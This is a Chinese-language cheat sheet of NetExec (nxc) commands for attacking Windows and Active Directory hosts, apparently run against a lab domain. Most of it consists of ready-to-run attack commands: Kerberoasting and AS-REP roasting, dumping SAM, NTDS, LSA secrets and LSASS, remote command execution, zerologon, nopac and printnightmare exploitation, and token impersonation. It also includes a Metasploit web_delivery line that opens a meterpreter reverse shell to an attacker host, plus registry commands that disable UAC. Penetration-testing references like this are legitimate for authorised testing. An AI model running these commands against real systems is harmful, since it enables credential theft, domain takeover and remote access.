NetExec 命令总结
天有阴阳风雨晦明之气,人有喜怒哀乐好恶之情。
导航
工具介绍
NetExec(又称 nxc)是一款网络服务漏洞利用工具,它是 CrackMapExec 的延续,且支持的 协议、模块、功能 相较前者更为丰富。
命令语法
基本语法:nxc Protocols Target [Generic] [Output] [Auth+Kerberos] [Modules] [Protocol-Option]
- Protocols:wmi、rdp、winrm、ldap、ssh、mssql、nfs、smb、ftp、vnc。
- Target:IP(s)【特定 IP:1.1.1.1 1.1.1.2】、range(s)【IP 范围:1.1.1.1-254】、CIDR(s)【IP 段:1.1.1.0/24】、hostname(s)【计算机名:Win10】、FQDN(s)【网址:www.test.com】、file(s)【文件】。
- Generic:-t【线程数量】
- Output:--verbose、--debug、--codec gbk【可执行 cmd 命令时才会出现此选项】
- Auth:-u、-p【明文密码】、-H【哈希密码】、-d【域认证】、--local-auth【本地认证】、--continue-on-success【成功爆破到密码时,不会立即停下,而是继续进行。】、--no-bruteforce【将用户列表和密码列表一对一关联,而不是以排列组合的方式关联。】
- Kerberos:--use-kcache【使用变量 KRB5CCNAME 指定的票据文件】
- Modules:-L【列出当前协议支持的模块】、-M【使用指定的模块】、-o【设置模块的参数信息】、--options【列出指定模块所支持的参数信息】
- Protocol-Option:特定协议独有的特定功能选项,这些选项通常都出现在 开头的 options 部分和结尾的 Modules 部分的下方。【注:smb 的协议选项是最丰富的,支持的功能很多。】
官方手册:https://www.netexec.wiki/
支持协议
nxc 支持的协议有 ssh、vnc、rdp、winrm、ftp、nfs、mssql、wmi、ldap、smb(协议根据命令的复杂度由低到高排序),而每种协议所支持的功能也各有千秋,以下将针对每种协议最有用的一些功能进行命令示例汇总。
ssh
sudo 检查:nxc ssh 192.168.56.20 -u kali -p kali --sudo-check 【注:此功能并不准确】
命令执行:nxc ssh 192.168.56.20 -u kali -p kali -x whoami
vnc
rdp
该功能存在严重的误报问题,建议使用 impacket-rdp_check skylark.com/admin:'password@123'@192.168.56.50 进行 RDP 登录检查。
winrm
命令执行(Cmd):nxc winrm 192.168.56.50 -u admin -p 'password@123' -d skylark.com -x "whoami /priv" --codec gbk
命令执行(PowerShell):nxc winrm 192.168.56.50 -u administrator -p 'password@123' --local-auth -X "Get-Location" --codec gbk
注:(1)如果目标系统是非英文语系,则需要添加 --codec 选项对输入和输出的数据进行编码转换,否则不光输出会乱码,还可能导致输入的命令无法被解析导致 nxc 执行报错;(2)winrm 对于低权限的用户不会表现的像 smb 那样,还可以用来验证密码对错,它不管用户凭证是否有效,只要你无权限,那么探测显示的标识和密码错误时显示的标识是一样的,都是 [-]。
ftp
查看文件列表:nxc ftp 192.168.56.50 -u user -p 'password@123' --ls /
nfs
mssql
wmi
该协议支持的功能和模块,smb 协议均支持,因此关注 smb 部分即可,此处不再赘述。
票据用法:
#(1)首先获得票据
impacket-getTGT skylark.com/admin -dc-ip 192.168.56.50
#(2)添加 DC2012.skylark.com 映射记录到 /etc/hosts 文件。
#(3)执行票据认证
export KRB5CCNAME=admin.ccache
nxc wmi DC2012.skylark.com --use-kcache
模块查询:nxc wmi -L
ldap
注:票据认证的使用,见 wmi 部分。
选项类
烘烤攻击:nxc ldap 192.168.56.50 -u admin -p 'password@123' -d skylark.com --asreproast ker1
Kerberoasting 攻击:nxc ldap 192.168.56.50 -u admin -p 'password@123' -d skylark.com --kerberoasting ker2
列出域 SID、用户、组:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com --get-sid --active-users --groups 【这些信息的获取似乎借助 enum4linux 会更方便一些。】
LDAP 语法查询:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com --query "(sAMAccountName=admin)" "*" 【图形化工具 ADExplorer 更直观一些。】
模块类
用户详情查询:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M whoami -o USER=admin
查询用户所属组:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M groupmembership -o USER=admin
查询组成员:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M group-mem -o GROUP="domain admins"
用户描述列表:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M user-desc
入域主机的 IP 列表:nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M get-network
枚举提权漏洞 CVE-2022-26923(ADCS)的利用前提条件:
#枚举证书颁发机构
nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M adcs
#枚举 MachineAccountQuota 值
nxc ldap 192.168.56.50 -u user -p 'password@123' -d skylark.com -M maq
smb
注:票据认证的使用,见 wmi 部分。
选项类
转储凭证:
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --sam
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --ntds
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --lsa
#当用户在 Backup Operators 组时,可以使用该模块转储本地 SAM 哈希【注:这种用户具有访问 C:\目录的权限。】。
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M backup_operator
文件传输:
#文件上传
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --put-file whoami.exe \\tmp\\whoami.exe
#文件下载
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --get-file \\tmp\\123.txt 456.txt
#注:不管是文件上传还是下载,这里 \\tmp 所指的是根目录 C 盘下的 tmp 目录。
命令执行:
#以 smbexec 方法去执行 cmd 命令
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --exec-method smbexec -x "whoami"
#以 mmcexec 方法去执行混淆了的 powershell 命令
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --exec-method mmcexec -X "Get-Location" --obfs
共享枚举:
#枚举共享
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --shares
#搜寻后缀是 .txt 的文件,切忌不要使用 *.txt 这样的通配符匹配格式。
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com --spider SYSVOL --pattern .txt
#遍历共享中的所有文件
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --spider SYSVOL -M spider_plus
#转储共享中的所有文件,100m 以上的除外。
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --spider SYSVOL -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=99999999 OUTPUT_FOLDER=./tmp
用户/组枚举:
#枚举用户
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --users
#枚举本地组
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --local-groups
#枚举域组
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --groups
#枚举机器账户
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --computers
查询密码策略:nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --pass-pol
枚举盘符:nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com --disks
生成一个 NTLM 中继列表:crackmapexec smb 192.168.56.0/24 --gen-relay-list relayip.txt
模块类
漏洞检测:
#同时检测 DFSCoerce、PetitPotam、PrinterBug、MSEven(shadowcoerce) 漏洞,主要用于 NTLM 中继攻击利用。
nxc smb 192.168.56.50 -M coerce_plus
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com -M coerce_plus
#检测永恒之蓝漏洞(RCE),可直接获得高权限 shell。
nxc smb 192.168.56.50 -M ms17-010
#域提权漏洞
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com -M nopac
#域提权漏洞【注:该漏洞会重置域控机器账户的密码为空,为了不影响域控,需在获取域哈希之后尽快恢复原来的密码。】
nxc smb 192.168.56.50 -M zerologon
#本地提权漏洞
nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com -M printnightmare
#NTLM 中继攻击时(SMB 转 LDAP 时)可能需要的 remove-mic 漏洞
nxc smb 192.168.56.50 -M remove-mic
网络适配器识别:nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com -M ioxidresolver
杀毒软件识别:nxc smb 192.168.56.50 -u user -p 'password@123' -d skylark.com -M enum_av
转储 LSASS 进程:
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M handlekatz
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M hash_spider
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M lsassy
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M nanodump
令牌管理:
#枚举令牌
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M impersonate
#模拟令牌
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M impersonate -o TOKEN=1 EXEC="whoami /priv"
#若 nxc 在执行命令时无响应,可尝试使用 crackmapexec。
# crackmapexec smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M impersonate -o TOKEN=1 EXEC="whoami /priv"
Web 投递载荷:
#启动 msf,然后设置并运行 web 投递器
msfconsole -qx "use exploit/multi/script/web_delivery;set target 2;set payload windows/x64/meterpreter/reverse_tcp;set lhost 192.168.56.20;run -j"
#然后根据生成的参数去设置模块的参数
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M web_delivery -o URL=http://192.168.56.20:8080/XipXSk1
或
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M met_inject -o SRVHOST=192.168.56.20 SRVPORT=8080 RAND=DrXZnoiI5lJ51 SSL=http
UAC 状态检查:
nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M uac
#关闭 UAC(重启生效)
#reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
#或
#Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0
启用 RDP:nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M rdp -o ACTION=enable
AlwaysInstallElevated 状态检查:nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M install_elevated
PowerShell 历史文件导出 :nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M powershell_history -o export=True
检查各种安全项:nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M wcc
用户过期密码免登录控制台进行修改:`nxc smb 192.168.56.50 -u admin -p 'password@123' -d skylark.com -M change-password -o NEWPASS='pass'
杂项
- 有些协议的功能选项可能需要高权限的用户才能执行成功。而什么时候需要高权限什么时候普通用户也可以枚举,这一点在模块类上 nxc 做出了区分,但在选项类上则不太容易去区分。例如,命令
nxc smb ... --sam肯定需要高权限才能执行成功,而命令nxc smb ... --users则只需普通用户权限即可执行成功。 - 使用 -x 执行命令时,如果账户部分未出现 Pwn3d!,那么命令是不能被成功执行的。例如,在面对未入域的主机,使用本地管理组用户 admin 去执行命令时,命令是不能被成功执行的。原因应该是 UAC 机制导致的中完整性 shell (不完整的管理员权限)导致的。